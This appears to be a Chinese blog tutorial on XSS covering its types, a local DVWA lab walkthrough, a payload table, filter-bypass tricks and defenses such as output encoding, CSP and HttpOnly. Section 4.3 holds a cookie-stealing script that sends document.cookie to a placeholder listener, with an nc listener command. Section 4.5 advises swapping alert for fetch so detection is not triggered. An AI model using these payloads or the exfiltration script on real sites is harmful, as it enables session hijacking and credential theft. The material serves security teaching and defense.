news 2026/10/20 16:41:32

XSS跨站脚本攻击:原理、类型与防护实践

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XSS跨站脚本攻击:原理、类型与防护实践

1. 项目概述

1.1 从一次弹窗开始认识XSS

你可能见过这种场面:某天打开一个博客,看到一个页面弹窗,上面写着“你的Cookie已泄露”。很多同学第一反应觉得是恶作剧,但实际上这就是跨站脚本攻击的经典演示。XSS的全称是Cross-Site Scripting,翻译过来就是“跨站脚本攻击”,它是Web安全领域出现频率最高、危害面又最容易被低估的一类漏洞。

我最早接触XSS是在做安全巡检时,发现所有漏洞清单里XSS占了将近一半。当时没当回事,觉得弹个窗而已,能怎么样?后来真正看到一个存储型XSS导致整个后台管理员会话被劫持,差点酿成数据泄露事故,我才意识到这个看起来“小儿科”的漏洞,比很多开发同学想象的要凶险得多。

这篇文章我不会给你丢一堆枯燥定义,而是从攻击者视角拆解XSS的成因、三种攻击形态、危害链路,再带你用本地靶场把攻击过程完整走一遍,最后给出可直接落地的防护方案。无论你是刚入门安全的新人、做前端的开发同学,还是负责系统运维的工程师,读完之后至少能回答三个问题:XSS怎么发生、会造成什么后果、怎么堵住。

1.2 为什么迭代到这么多版本还要反复聊XSS

很多人会问:现在前后端分离、框架大行其道,XSS早该被框架处理掉了吧?这个观点其实只对了一半。主流框架确实默认把数据作为纯文本渲染,但XSS的变体也跟着框架一起发展了。一个现代前端项目里,用户输入经过引擎模板、富文本编辑器、URL参数、postMessage消息,甚至第三方SDK的回调数据,任何一个环节没有做输出降级,XSS就会重新冒出来。

另一个让人头疼的点在于自动化扫描很难发现XSS。SQL注入可以靠“单引号报错”“遍历布尔盲注”这类稳定特征识别,而XSS触发条件依赖浏览器解析顺序、渲染上下文、过滤器的绕过技巧,经常需要人通过浏览器控制台一点点去验证。这也是我写这篇文章的原因之一:把XSS最底层的原理讲透,再结合实战去理解绕过手法,比单纯收藏几百个payload更管用。

1.3 这篇内容适合谁

如果你是安全方向的新人,这篇文章可以作为XSS的系统入门,重点看攻击原理和实际复现步骤。如果你是前端开发或后端工程师,重点看第六章的三道防线,那部分内容能直接改进你的编码习惯。如果你正在做安全测试或代码审计,第七章和第八章的绕过思路与排查技巧,省去你在网上到处找资料的功夫。我会尽量少用黑话,遇到浏览器解析机制这类复杂概念,用生活类比拆开讲,保证能看懂、能上手。

2. 三种攻击形态一眼看懂

2.1 反射型XSS:打一枪就跑的“钓鱼弹弓”

反射型XSS是最直观、也最容易理解的一种。攻击者把恶意脚本放在URL参数里,诱导用户点击这个构造好的链接,服务器在接收到参数后直接把这个脚本“反射”回页面响应里,浏览器解析时就会执行这段脚本。

用一个生活类比来说:你去银行柜台办事,柜员把你递给她的纸条上的内容直接打印后贴在窗口展示。如果纸条上写的是“请看我手里的硬币”,大家就觉得是个玩笑;但纸条上写的是“请把你的银行卡密码交给旁边这个人”,看到的人如果照做了,问题就大了。问题不在银行要不要收纸条,而在纸条内容没经过筛选就展示出来。

典型的触发场景是站内搜索框。用户搜索某个关键词,页面回显“你搜索的是:xxx”,如果这个xxx没有编码处理,攻击者就能构造一个链接,例如让搜索词变成一段<script>标签,用户点击后在页面上下文里执行。这类攻击需要诱导用户点击,所以叫“反射型”,它不像存储型那样能“命中所有访问者”,但对于钓鱼场景非常有效。

2.2 存储型XSS:最危险的“种马”型攻击

存储型XSS的核心特征是恶意脚本被持久化保存在服务端数据库里,任何用户访问包含这个内容的页面都会触发。它不需要一次性构造链接诱导点击,攻击者只要成功把脚本“种”进系统一次,后面所有访问者都是受害者。

拿评论区举例。一个留言框如果允许写HTML标签又不做过滤,攻击者提交一条包含恶意脚本的评论,这篇评论被存入数据库。后面每个打开文章页的用户,浏览器都会把这篇文章的HTML解析出来,顺带把评论里的脚本执行掉。管理员打开后台查看评论时,同样会被脚本命中,这就为窃取管理员权限铺好了路。

我曾经在一次授权测试里遇到过这类问题。某个内部系统有一个“部门公告”功能,普通员工可以发布公告,公告里没有做富文本白名单校验,导致可以插入<img onerror>这类标签。表面上看员工只是能弹个窗,但攻击载荷一旦换成“强制修改当前账号密码”或者“向某个接口提交伪造审批”,后果就是内部权限体系被彻底击穿。所以我一直跟开发团队强调:存储型XSS是三种类型里危害最高、优先级最高的漏洞,没有之一。

2.3 DOM型XSS:不经过服务器也能“自助式中毒”

DOM型XSS和前两类有本质区别:反射型、存储型都涉及服务端把用户输入回显到响应页面里,而DOM型XSS的恶意脚本完全不依赖服务端参与,攻击载荷直接在前端JavaScript的运行时被处理并拼进了DOM。

举个实际例子。一个页面从URL里获取location.hash或location.search,然后通过document.getElementById("content").innerHTML = params这种方式把内容写进页面。由于操作完全发生在浏览器里,服务端日志根本看不到这个请求的特殊参数,也就失去了最常见的日志分析兜底手段。

DOM型XSS在单页应用里尤其常见。路由参数、搜索条件、页面状态都会通过URL来保存,很多前端同学图省事,直接用innerHTML或document.write拼接。这时候攻击者只要在URL后面附加一段特殊字符,浏览器本地就能把脚本执行掉。因为不经过服务端,WAF看不到、过滤器拦不住,可以说是安全团队最头疼的一类XSS。

2.4 三种类型区别一张表看清

维度反射型XSS存储型XSSDOM型XSS
载荷存放位置URL参数服务器数据库URL参数或前端运行时数据
是否需要用户交互需要点击构造链接只需访问被污染页面需要点击构造链接或触发前端逻辑
是否经过服务端回显经过服务端拼入响应经过服务端存储再回显不经过服务端,纯前端拼接
危害持久性临时,一次性持久,反复触发临时,取决于链路条件
常出没场景搜索页、报错页评论区、留言板、个人资料单页应用、路由框架、动态渲染

这个表帮我解决了很多次团队内部“这是什么类型XSS”的口水战。判断类型的核心问题只有一个:用户的输入最终是在哪一步被当成HTML执行的。如果在服务端拼进响应,就是反射或存储;如果在前端运行时被DOM API拼进去,就是DOM型。

3. 攻击链路与原理拆解

3.1 浏览器到底信任了什么

想彻底理解XSS,得先明白浏览器为什么会“心甘情愿”执行脚本。浏览器接收到服务器返回的HTML后,会按照标签语义去解析并执行。而HTML没有原生的“可信区域”概念——页面里的<script>标签也好,事件属性也好,只要出现在文档里,浏览器就认为这是页面作者想要执行的。

注意这里有个关键问题:页面里有一部分内容是普通用户提交的。当用户输入被直接插入到HTML里,它就以同等身份获得了执行权限。换句话说,XSS的本质不是浏览器被攻击者“遥控”,而是浏览器分不清页面代码和用户数据。

这也是我常跟开发同学讲的一句话:数据库里没有“用户输入”和“开发代码”的区分,HTML里同样也没有。只有渲染层明确对数据做了“当成纯文本处理”的动作,这个边界才存在。框架们做的事本质上就是让数据进入HTML时强制走转义管道,等于每一份数据在“上桌前”先被打上“这是食材、不是厨子”的标签。

3.2 攻击链路的三个阶段

把所有XSS流程抽象出来,无非是三个阶段。

注入阶段:攻击者将恶意代码通过输入点提交进系统。输入点包括URL参数、表单字段、上传文件的文件名、HTTP请求头里的User-Agent等所有用户可控的位置。这一步的目标是让恶意代码“混进”数据流。

传递阶段:恶意代码沿着数据流到达“污染点”。反射型走的是服务端响应模板的拼装点,存储型走的是数据库到查询结果再到页面的链路,DOM型走的是前端代码里的DOM操作API。

执行阶段:浏览器在渲染时把污染点的数据当成HTML或JavaScript解析,恶意代码获得当前页面的执行权限。从这一刻起,攻击者就获得了“在受害者浏览器里运行任意脚本”的能力,也可以访问当前页面的DOM、Cookie、会话令牌。

理解这条链路后,你就知道防御思路的根源:在第二阶段堵住任何数据到可执行HTML的路径,或者降低执行后的影响。只靠第一阶段的输入过滤,实际上是堵不完的。

3.3 为什么XSS这么难根治

你可能会说:把所有输入都过滤一遍不就行了吗?问题是输入过滤存在两个维度的死角。

第一个死角是上下文依赖。一段代码在URL属性里是安全字符串,换到<script>上下文里可能就变成可执行语句。比如在href属性里,如果过滤双引号和尖括号,那javascript:协议就还能跑;在style属性里,还能用expression(alert(1))这类老式IE才认的写法。上下文不同,危险字符完全不同,用一个全局过滤器去挡所有上下文,要么拦太严影响功能,要么漏太多被绕过。

第二个死角是浏览器解析的容错机制。你以为数据拼在属性值里就没事了,但浏览器遇到特殊字符时会自动做状态机切换。一个没闭合的引号、一个特殊Unicode编码,都能让原本安全的属性值重新变成新标签的起始位置。HTML解析器的标准里写了大量容错规则,这些规则本是用来兼容废旧页面的,却成了XSS绕过手法源源不断的素材库。

所以我一直建议团队不要把“过滤用户输入”当成XSS的救命稻草,它只是纵深防御体系里最初级的一环,真正的命门在输出编码和CSP策略上。

4. 本地靶场实操复现

4.1 环境准备:5分钟搭一个练习靶场

纸上谈兵没意思,这里我带你在自己电脑上完整复现一遍三类XSS。推荐的方法是用Docker直接起一个轻量级Web应用作为靶场,全程不碰真实业务系统,安全可控。

先准备一个PHP环境或者一套现成的开源靶场项目。以Docker方式为例,在Linux或macOS终端里执行:

docker run -d -p 8080:80 vulnerables/web-dvwa

默认账号密码一般是admin/password,登录后把安全级别调成low,方便观察最原始的攻击现象。如果你不想用现成靶场,自己写一个十几行的PHP页面也能练,核心就三个文件:一个搜索回显页面、一个留言板页面、一个前端渲染页面。

启动后先用浏览器访问http://127.0.0.1:8080,确认页面能打开。后面所有演示都在这套本地环境里完成,不去碰任何真实站点。

4.2 反射型XSS复现完整步骤

在靶场找到反射型XSS的测试页面,它通常是一个“输入名字并回显”的表单。在输入框里正常提交一个test,注意观察URL变成了类似?name=test的结构,页面回显“Hello test”。

接下来把输入值换成下面的载荷:

<script>alert(document.cookie)</script>

提交后页面会弹出一个窗口,显示当前域名的Cookie内容。这个弹窗过程看似简单,背后是服务端把name参数的值拼进了HTML响应,浏览器没能区分脚本和普通文本。

要看清原理,可以打开浏览器开发者工具的网络面板,找到该请求的响应信息。响应体里能直接看到<script>标签原封不动地出现在HTML里——这就是“反射”的字面含义。把抓包工具挂上再试一次,你会发现攻击载荷完全出现在GET请求的URL里,所以这类攻击也经常被伪装成短链接发送给目标。

4.3 存储型XSS复现完整步骤

切到靶场的存储型XSS页面,通常是一个留言板。在消息框里提交:

<script>alert("stored xss")</script>

提交以后刷新页面,或者换一个浏览器、换一个设备访问这个留言板,弹窗依然存在。这就是存储型的关键特征:脚本已经在服务端落库,任何访问者都会被触发。

演示时建议再做一个小变化:把载荷改成向某个接口发送数据的脚本。例如:

<script> var img = new Image(); img.src = "http://你自己的监听地址:8081/steal?cookie=" + document.cookie; </script>

然后在本地用nc -lvnp 8081监听端口,重新模拟受害者访问留言板,就能看到这台“攻击者服务器”收到了Cookie信息。这个实验让你直观理解为什么存储型XSS会造成“大批用户数据被动收集”的局面。

4.4 DOM型XSS复现与调试技巧

DOM型XSS的演示页更依赖前端代码。靶场里通常有一个下拉框或者URL参数处理的模块,你切换选项时页面会动态更新显示内容。打开开发者工具,把断点设置在innerHTML赋值那一行,然后触发URL参数变化,你能清楚看到数据是纯前端被拼进DOM的。

测试载荷要配合具体代码走,常见的写法是:

#<img src=x onerror=alert(document.domain)>

注意这里我在载荷前面加了一个#号,目的是让它落在location.hash后面,这样就算把请求发给别人,服务端日志里也完全看不到任何特殊内容。配合浏览器工具,在“脚本”面板里逐步执行,你会看到document.location.hash被读取、被拆开、最终被写进innerHTML的全过程。

调试DOM型XSS有个好习惯:在可能被污染的关键点打console.log,观察数据流经不同变量时形态有没有变化。这也是我排查生产环境DOM型漏洞时最依赖的手法。

4.5 实用载荷集合

复现阶段常用的载荷整理如下,建议配合靶场一个个试:

载荷适用场景说明
<script>alert(1)</script>基础验证最简单,但很容易被过滤
<img src=x onerror=alert(1)>标签过滤场景不依赖script标签,浏览器加载图片失败即触发
<svg/onload=alert(1)>黑名单过滤场景利用SVG元素的自处理特性
javascript:alert(1)链接点击场景结合<a href>或表单按钮使用
<details open ontoggle=alert(1)>事件触发场景不需要用户点击,标签渲染即触发
'"><svg onload=alert(1)>突破引号闭合核心是预判拼接位置的边界字符

实际测试时不要只试alert,很多防扫描系统会拦截这个关键字。可以换成console.log(document.domain)或者fetch请求,效果一样,且不容易触发告警。

5. 危害面与影响分析

5.1 Cookie窃取与会话劫持

XSS影响力排第一的永远是会话凭证窃取。网页的会话依赖Cookie、本地存储或临时令牌,而这些数据在页面上下文中可以被任意脚本读取。攻击者拿到对方的会话凭证后,不需要猜密码,直接以受害者的身份继续登录状态。

现代应用的会话令牌经常附带IP绑定、设备指纹、过期时间等防御属性,所以攻击者未必能立刻用起来。但可以换成执行受害者当前权限下的任何操作:改密码、发消息、提交订单。这种“以受害者身份在真实系统里操作”的能力,远比单纯偷个Cookie更致命,也是很多业务风控难以拦截的。

我在演示里常用一个脚本把当前页面表单里的所有输入实时转发到一个外部信道。不需要额外搞什么远控,只要用户在页面上输入密码、验证码,攻击端就能同步收到。这种键盘记录式的通用手法,比定向去翻Cookie更直接。

5.2 钓鱼界面与键盘记录

除了劫持会话,XSS还能充当“页面换装器”。攻击脚本可以动态修改当前页面的DOM结构,把整个页面替换成一张假的登录页,用户逛着逛着突然弹出一个“登录已过期,请重新输入密码”,输完以后页面又恢复正常。整个过程用户察觉不到异常,因为他访问的URL确实是正规站点、HTTPS标识也在。

配合键盘记录,攻击者还能监听用户在真实页面中输入的任何内容。脚本给input元素挂上事件监听函数,把每次按键的值组合后发到远程服务器。这种攻击在网银、邮箱、OA系统里的杀伤力非常大,因为用户输入的是真正核心的敏感信息。

5.3 蠕虫式传播

存储型XSS如果落点在UGC平台上,还可能出现自动扩散的蠕虫效应。攻击脚本读取当前登录用户的信息,模拟用户行为继续发布包含恶意脚本的内容,比如自动发评论、自动转发,形成循环传播。

很多年前某社交平台出现过一次典型的XSS蠕虫事件。恶意脚本让访问者自动复制攻击代码,并作为自己状态签名发布,结果短时间内大量用户“被转发”。这类事件一旦撞上节假日流量高峰,影响量级能到百万级用户,而且清理过程极其痛苦——你不仅要删掉数据库里的恶意内容,还得保证页面彻底清除残留代码。

5.4 安全和品牌层面的“附加伤害”

业务系统被XSS命中后,直接损失往往只是功能异常或数据窃取,但间接影响不容小觑。客户端信任一旦受损,用户流失、投诉、监管问询都会接踵而来。对于提供To B服务的企业而言,一次存储型XSS被公开披露,很可能直接导致安全资质评审不通过,损失甚至超过漏洞本身修复成本。

这也是安全团队在企业里推行“漏洞生命周期管理”和“安全开发培训”时要反复向管理层争取支持的核心论据:XSS不是单一技术点,它是一个产品安全成熟度的试金石。

6. 防护实践:三道防线

6.1 第一道防线:输出编码做扎实

我一直认为输出编码是防XSS最重要的一环,没有之一。核心原则是:所有动态内容在进入HTML前,都必须根据渲染上下文执行对应的编码函数。

实践里面,我可以给出针对性建议:在HTML标签内容区域,把&、<、>、"、'转成HTML实体;在属性值区域,多关注引号是否被转义;在JavaScript字符串区域,需要做JavaScript反斜杠转义;在URL区域,要限制协议并且做协议白名单校验。千万不要全局统一用一种编码方式去套所有位置,否则等于没做。

现在的现代框架默认已经处理了模板字符串的转义。React在JSX里渲染字符串数据、Vue在双花括号插值里,都默认对HTML实体做转义。前提是你不要主动用v-html、dangerouslySetInnerHTML这类“绕过安全默认”的API。如果业务必须使用富文本,也应该用经过安全审计的库来解析,而不是自己写正则去白名单过滤。

6.2 第二道防线:输入校验和长度控制

输入校验不应该是XSS的主要防线,但作为纵深防御的一部分仍然必要。把所有输入按业务含义进行校验:手机号就只允许数字和特定符号,用户名就限制字符集,URL参数就按格式解析。区间控制、类型校验、枚举校验能大量减少脏数据的进入。

针对反射型XSS高发的搜索、排序、分页参数,很多团队会用正则把可疑标签关键字直接过滤掉。注意这种黑名单很难维护,我个人的建议是:与其维护一个庞大的“危险关键字”列表,不如做反向的字符白名单。对不需要特殊字符的字段,直接把所有非白名单字符清掉,简单高效。

6.3 第三道防线:CSP严格控制

内容安全策略CSP是防御XSS的终极底牌。CSP通过HTTP响应头来告诉浏览器:当前页面允许加载哪些来源的脚本、样式、图片。就算攻击者的脚本注入了页面,浏览器也会因为脚本来源不在白名单里而拒绝执行。

最小化CSP示例:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'

这段策略的含义是:只允许加载同源脚本,不允许插件对象和base标签篡改,其他未显式允许的内容默认拒绝。生产环境里如果页面用了外部CDN脚本,需要把域名加进script-src;对于内联脚本,建议启用nonce或hash的方式,让合法的内联脚本也能被精确放行。

要注意CSP也不是万能的。如果策略写得过宽,比如script-src 'unsafe-inline',等于把CSP的防护卸掉了。我在审计中见过不少配置了CSP却因为图省事留了后门的案例,所以每次上线前都要专门check一下策略的粒度。

6.4 其他配套手段

HttpOnly标记:给会话Cookie加上HttpOnly属性后,文档里的JavaScript就再也读不到这个Cookie了。这是防Cookie被XSS窃取的最直接手段,所有会话类Cookie都应当默认开启。

SameSite属性:现代浏览器支持的SameSite属性可以限制Cookie在跨站请求里是否携带。把会话Cookie设置为SameSite=Lax甚至SameSite=Strict,能有效降低CSRF和部分跨站数据外带风险。

子资源完整性SRI:对于引用的第三方脚本,可以在script标签里加上integrity属性,浏览器会校验脚本文件的哈希值是否一致。第三方脚本被篡改时页面会拒绝执行,避免供应链投毒这类重风险。

这些手段互相配合,形成一道立体的纵深防御:编码让攻击难以注入,CSP让注入后难以执行,HttpOnly让执行后难以窃取凭证。

7. 常见绕过与进阶对抗

7.1 黑名单过滤器是怎么被绕过的

很多开发者喜欢写一个黑名单正则,把script、alert、onerror等关键词直接过滤掉。问题是绕过工具早就摸透了这类规则。常见手法包括:

  • 大小写混合绕过:<ScRiPt>,针对不区分大小写的旧规则
  • 标签嵌套绕过:<scr<script>ipt>,服务端删除一次script后反而得到合法标签
  • HTML实体编码绕过:&#x3c;script&#x3e;,部分场景解析器会自动解码
  • 事件关键字拼接:onerror写成onerror=,再配合制表符、换行符
  • URL编码、Unicode编码、JS的字符串拼接等方式

所以黑名单方案注定是“打地鼠”。真正稳妥的方法是输出编码加严格上下文隔离,而不是试图记住所有攻击指纹。

7.2 富文本场景怎么平衡功能与安全

富文本编辑框是XSS防护最难啃的地方,因为业务上确实需要用户填一些加粗、变色、插链接、贴图片的内容,这些又恰好是HTML标签和属性的重灾区。

我的建议是采用“白名单解析器”思路:用户保存富文本时先走一个允许标签列表,比如只允许b、i、a、img、ul、li这些基本标签,属性只保留href、src、alt、class。href和src的协议还要做白名单,只允许http、https、mailto,坚决不放行javascript:。

对链接属性,尤其要校验协议和可接受域名列表。我以为万无一失的某个项目,就是在富文本的a标签里被人塞了href="javascript:alert(document.cookie)",点击后直接触发,所以这类细节一定要在代码审计时反复盯。

7.3 自动化扫描与人工验证的配合

现在开源社区和商业工具里都有不少XSS扫描器。它们的价值在于快速定位可疑注入点,比如爬虫遍历所有链接、自动替换参数、对比响应变化。但扫描结果通常高误报,尤其是DOM型XSS,需要人工打开浏览器去验证是否真的能触发。

我的工作流一般是先用自动化工具跑一轮弱口令和反射型探测,把候选目标列出来;再针对每个候选点尝试手动测试,包括修改URL参数、抓包重放、观察前端是否有innerHTML赋值。遇到模糊不清的情况,会用无头浏览器加载页面并检查是否发生脚本执行。这个过程效率最高,而且能绕过一些扫描器不支持的复杂状态。

8. 常见问题与排查技巧实录

8.1 项目里疑似出现XSS,应该从哪里入手排查

第一时间先复现。拿到一个URL,先确认触发的输入参数是什么,把请求原样保存下来。然后看请求的响应报文里,参数值出现在哪个上下文:是出现在HTML标签之间、出现在属性值里、出现在JavaScript字符串里、还是前端动态拼接生成的。

判断上下文后,如果确认是反射型,优先检查对应的输出模板有没有做转义。如果是存储型,要去查数据进入数据库之前每层链路有没有过滤,同时检查了这个位置有没有“数据库里出来以后直接被输出”的路径。如果是DOM型,在前端代码里搜索innerHTML、outerHTML、document.write、eval、setTimeout带字符串参数这类危险API,然后沿着变量回溯它的赋值来源。

排查过程中不要只盯着攻击载荷本身,要多看代码路径和数据流。很多XSS真正坑人的点是编码不一致,服务端一遍、模板引擎一遍、后台再一遍,三个环节只要有一步漏了,整条链路就失效。

8.2 这些工具确确实实帮我省过时间

  • 抓包工具Burp Suite的Repeater模块,用来反复修改请求观察响应。
  • 浏览器开发者工具的“搜索”功能,可以快速定位代码仓库里所有危险DOM操作。
  • 第三方XSS平台用来接收外带数据,比我自己搭监听服务器快得多。
  • Chrome的无痕模式配合断点调试,是验证DOM型XSS触发链路的标配操作。
  • 代码审计时的静态分析工具可以按规则扫出潜在的污染点和危险函数,虽然误报不少但用来定位大范围代码库很有价值。

工具始终是放大镜不是手,最终判定的责任在人。

8.3 我踩过的坑

第一个坑是只修当前攻击载荷而不修根因。早期我自己修漏洞时,拦截了某一个具体payload,觉得就完事了。结果换个思路又绕了进来。后来改成所有输出统一走编码模板、所有富文本统一走白名单解析器,情况才好转。

第二个坑是忽略响应头里的页面编码。页面如果没有明确声明charset,浏览器可能按其他编码去解码字节,攻击者可以利用编码差异构造“看起来无害”的字节序列。加上一个明确的Content-Type: text/html; charset=utf-8能挡掉一票奇技淫巧。

第三个坑是内网系统里的“无主页面”。很多公司内部系统是外包团队做的,既没正规测试也没代码review,这类系统往往是XSS重灾区。建议安全部门建立内网资产清单,优先扫高危业务和登录模块。

第四个坑是重线上修复、轻回归测试。修完XSS后要回归原始功能是否可用,特别是那种本来就带着innerHTML的富文本组件,改了编码以后可能直接导致图片不显示、链接打不开。上线前建立一份基础功能冒烟用例,每次修复后跑一遍,能避免很多奇奇怪怪的线上事故。

“坑”聊完之后,说一点我个人的体会。XSS是Web安全里最“平易近人”的漏洞类型,因为它不需要复杂的系统权限、不需要远程代码执行环境,一台浏览器就能完成攻击闭环,也正因如此,它的存在感经常被低估。但实际上,从单体PHP网站到现代微前端架构,XSS从来没有真正退场,只是换了面孔继续藏在不同渲染层之间。

如果你读完这篇文章只记住三个词,我想应该是:输出编码、CSP、HttpOnly。这三个词对应的动作,能挡住绝大多数XSS攻击路径。剩下的那些边边角角,就在一次次代码评审和安全测试里慢慢积累经验吧。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/20 16:41:25

用pgbadger分析PostgreSQL日志,快速定位慢查询与性能瓶颈

1. 日志分析不是没有工具&#xff0c;而是缺一份能直接拍板的报告先说我遇到的实际场景。一套跑着 PostgreSQL 的业务系统&#xff0c;某天下午接口延迟曲线突然抬头&#xff0c;后台能看到的只有 postgresql.log 里几万行“duration: xxx ms statement: ...”。用 grep 把 dur…

作者头像 李华
网站建设 2026/10/20 16:41:01

C++ std::list详解:构造函数、迭代器失效与容器选型

从标题就能看出&#xff0c;这篇要聊的是C标准库里一个既基础又容易踩坑的容器&#xff1a; std::list 。作为双链表的标准实现&#xff0c;list在C入门阶段往往被当成“vector的替代品”来学&#xff0c;但实际上它的构造方式、迭代器语义和失效规则都很有自己的脾气。尤其是…

作者头像 李华
网站建设 2026/10/20 16:40:41

AI视频生成榜单大洗牌:影视公司靠数据壁垒反超通用模型

Seedance在AI视频生成模型榜单上被一家影视公司超越了——这事儿我第一次看到的时候&#xff0c;第一反应是标题党。毕竟Seedance从早期内测起就一直稳在各种评测榜单的前排&#xff0c;甚至是我平时做AI视频工具选型时的默认选项之一。但等我认真看完榜单数据、逐帧对比了几段…

作者头像 李华
网站建设 2026/10/20 16:40:31

大模型上下文模式context-mode:从原理到混合模式工程落地

做了一段时间大模型应用&#xff0c;我发现一个特别容易被忽略、但又直接影响产出质量的问题&#xff1a;很多人把上下文&#xff08;Context&#xff09;当成一个简单的"拼字符串"过程&#xff0c;顶多注意一下别超长度&#xff0c;却很少去思考这段上下文到底以什么…

作者头像 李华
网站建设 2026/10/20 16:40:01

基于ADRC的PMSM调速系统Simulink仿真模型搭建与参数整定

做电机控制仿真这行当久了&#xff0c;会发现一个规律&#xff1a;PID虽然经典&#xff0c;但碰上负载突变、参数摄动这类情况&#xff0c;调来调去总有点力不从心。尤其做永磁同步电机&#xff08;PMSM&#xff09;调速系统的时候&#xff0c;PI参数刚在一台电机上整定好&…

作者头像 李华
网站建设 2026/10/20 16:39:58

GESP一级每月天数题详解:闰年判断与分支结构入门

看到“4001&#xff1a;【GESP2303一级】每月天数”这个题号&#xff0c;很多刚接触编程的朋友可能心里会嘀咕&#xff1a;这不就是问一句“这个月有多少天”吗&#xff0c;有什么好讲的&#xff1f;可实际上&#xff0c;这道题在历次一级考试里属于典型的高频基础题&#xff0…

作者头像 李华